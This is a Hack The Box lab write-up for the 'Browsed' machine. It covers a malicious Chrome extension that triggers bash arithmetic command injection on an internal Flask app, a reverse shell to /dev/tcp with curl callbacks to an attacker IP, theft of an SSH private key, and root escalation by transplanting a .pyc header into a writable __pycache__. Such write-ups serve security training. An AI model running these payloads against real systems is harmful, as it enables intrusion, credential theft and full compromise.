HTB Browsed Description

HTB Broswed is a medium-difficulty Linux machine centred around abusing browser extension functionality to access internal services.

By uploading a malicious Chrome extension, we intercept a developer’s browsing activity and uncover an internal Gitea instance hosting a Flask application.

Source code analysis reveals a command injection vulnerability in a bash script exposed via a localhost-only endpoint, which we exploit by delivering a second extension to trigger the payload through the developer’s browser and obtain a reverse shell as user larry.

For privilege escalation, the machine demonstrates insecure handling of Python bytecode: writable access to the pycache directory allows replacing a trusted .pyc file, resulting in arbitrary code execution as root.

Reconnaissance

Nmap Scan:

bash

nmap -sC -sV -vvv -oA nmap/browsed 10.129.244.79

Key findings:

• Port 22 → SSH (Ubuntu)
• Port 80 → Nginx (Ubuntu)

Add target to hosts file:

bash

sudo vi /etc/hosts
# Add: 10.129.244.79 browse.htb

Directory fuzzing with GoBuster (non-recursive, with PHP extension):

bash

gobuster dir -u http://10.129.244.79 -w /opt/list/discovery/web/content/raft-small-words.txt -x php

Why GoBuster over FeroxBuster here: GoBuster is easier to configure as non-recursive, reducing noise and rabbit holes during initial recon.

Web Application Enumeration

Observations from manual recon:

upload.php was exposed which confirms vanilla PHP (no framework like Laravel ; frameworks typically hide .php extensions)

• /images returns 403 Forbidden
• /uploads does not return 403 which likely means upload directory location unknown
• Source reveals jQuery and browser.min.js part of theme, not custom

Another important aspects:

• File upload accepts ZIP format only
• Server attempts to unzip uploaded files
• Error message displayed: failed to unzip file which confirms server-side unzipping

I considered using Zip slip technique but deprioritized it due to the below reasons :

• Upload destination directory unknown which means no known-good success state to validate against
• Without a known success scenario, you cannot distinguish failure from misconfiguration
• Too many uncontrollable failure cases (permissions, wrong path, wrong folder name)

Note: Don’t pursue zip slip without first knowing the upload destination path and being able to verify a success case.

Subdomain Discovery via Extension Output Analysis

Download and inspect sample browser extension:

mv ~/Downloads/timer.zip .
mkdir timer && cd timer
unzip timer.zip
cat manifest.json

Inspect extension output for hidden info:

# Paste extension output into a file
vi output.txt
grep -S "hostname" output.txt

My Finding: Extension output contained browse-internals.htb as a second hostname.

Add new subdomain to hosts file:

sudo vi /etc/hosts
# Add: 10.129.244.79 browse-internals.htb

Internal Application Analysis (Gitea Instance)

URL: http://browse-internals.htb

• Gitea instance running internally
• User: larry
• App: Markdown-to-HTML Flask application
• Route exposed: /routines/<r_id>
• Flask app running on localhost:5000 (not externally accessible)

Vulnerability identified: Bash arithmetic injection in routines endpoint

Proof of concept : bash arithmetic injection:

# test.sh
payload=$((x[$1])) 
echo "$payload matched"

bash test.sh 1          # Returns: payload 1
bash test.sh 0          # Returns: matched

# Inject a command inside arithmetic expansion:
bash test.sh '$(sleep 2)'   # Sleeps 2 seconds — confirms RCE

Note: Output won’t print to screen because the command executes inside arithmetic context ; use sleep to confirm execution via time delay.

Malicious Browser Extension (RCE via Chrome Extension)

Craft a Chrome extension that makes a background HTTP request to localhost:5000 on load, triggering the command injection.

Critical zip packaging rule : make sure to zip from inside directory:

cd pone/
zip ../pone.zip *        # Correct — no parent directory in zip

# WRONG — includes directory wrapper:
zip pone2.zip pone/*

manifest.json file: below are required fields for background execution:

{
  "manifest_version": 3,
  "name": "pone",
  "version": "1.0",
  "permissions": ["webRequest"],
  "background": {
    "service_worker": "background.js"
  }
}

Key finding: webRequest permission + background.service_worker allows code to run automatically on extension load ; no user click required.

background.js tests callback to your listener:

fetch("http://10.10.15.8:8000/test")

Set up listener before uploading:

nc -lvnp 8000

Confirmed working → User-Agent in listener shows Chrome → extension is executing.

Triggering RCE via Extension By Using localhost Flask App

background.js allows us to hit the vulnerable route:

fetch("http://127.0.0.1:5000/routines/$([curl+http://10.10.15.8:8000])")

Confirm code execution via curl callback:

fetch("http://127.0.0.1:5000/routines/$([curl+http://10.10.15.8:8000])")
// User-Agent in listener will show 'curl' — confirms server-side execution

Reverse Shell Delivery

Generate clean base64 payload (strip + signs to avoid encoding issues):

echo -n "bash -i >& /dev/tcp/10.10.15.8/9001 0>&1" | base64 -w 0
# Adjust spacing to eliminate '+' characters from base64 output

background.js allows you to deliver reverse shell:

fetch("http://127.0.0.1:5000/routines/$([echo+<BASE64>|base64+-d|bash])")

Listener:

nc -lvnp 9001

Upgrade to SSH immediately (more stable than reverse shell):

# On victim — read SSH private key:
cat /home/larry/.ssh/id_rsa

# On attacker — save and use:
vi larry_ssh
chmod 600 larry_ssh
ssh -i larry_ssh larry@10.129.244.79

Privilege Escalation Using Python __pycache__ Poisoning

Discover sudo rights:

sudo -l
# Result: can run /opt/extension/extension_tool.py as root

Check pycache permissions:

ls -la /opt/extension/__pycache__/
# Result: drwxrwxrwx (777) — world-writable directory

Inspect compiled .pyc file header:

xxd /opt/extension/__pycache__/<file>.cpython-312.pyc | head -2

PyC header structure (16 bytes):

Key insight: Python only recompiles .pyc if the .py file is newer or a different size than what’s in the header. By copying the original header onto a malicious .pyc, Python is tricked into using your file without recompilation.

Verify magic bytes match Python version:

python3 -c "import sys; print(sys.version)"
# Match magic bytes to correct Python version table

Verify timestamp encoding:

python3 -c "import time; print(hex(int(time.time())))"
# Compare to xxd output of pyc header bytes 4-7 (little-endian)

Create malicious Python payload:

vi /dev/shm/evil.py

import os
os.system("bash")        # Or mirror original functions for stealth

Compile it:

python3 -m compileall /dev/shm/evil.py
# Creates /dev/shm/__pycache__/evil.cpython-312.pyc

Copy legitimate header over malicious .pyc (header transplant):

dd if=/opt/extension/__pycache__/<legit>.pyc \
   of=/dev/shm/__pycache__/evil.cpython-312.pyc \
   bs=1 count=16 conv=notrunc

Verify headers match:

xxd /dev/shm/__pycache__/evil.cpython-312.pyc | head -2
xxd /opt/extension/__pycache__/<legit>.cpython-312.pyc | head -2

Move poisoned file into place (rename trick works because you own the directory):

mv /opt/extension/__pycache__/<legit>.cpython-312.pyc \
      /opt/extension/__pycache__/<legit>.cpython-312.pyc.bak

cp /dev/shm/__pycache__/evil.cpython-312.pyc \
   /opt/extension/__pycache__/<legit>.cpython-312.pyc

Trigger execution as root:

sudo /opt/extension/extension_tool.py clean
# 'clean' triggers the function that maps to os.system("bash")
# Results in root shell

My Final Summary Notes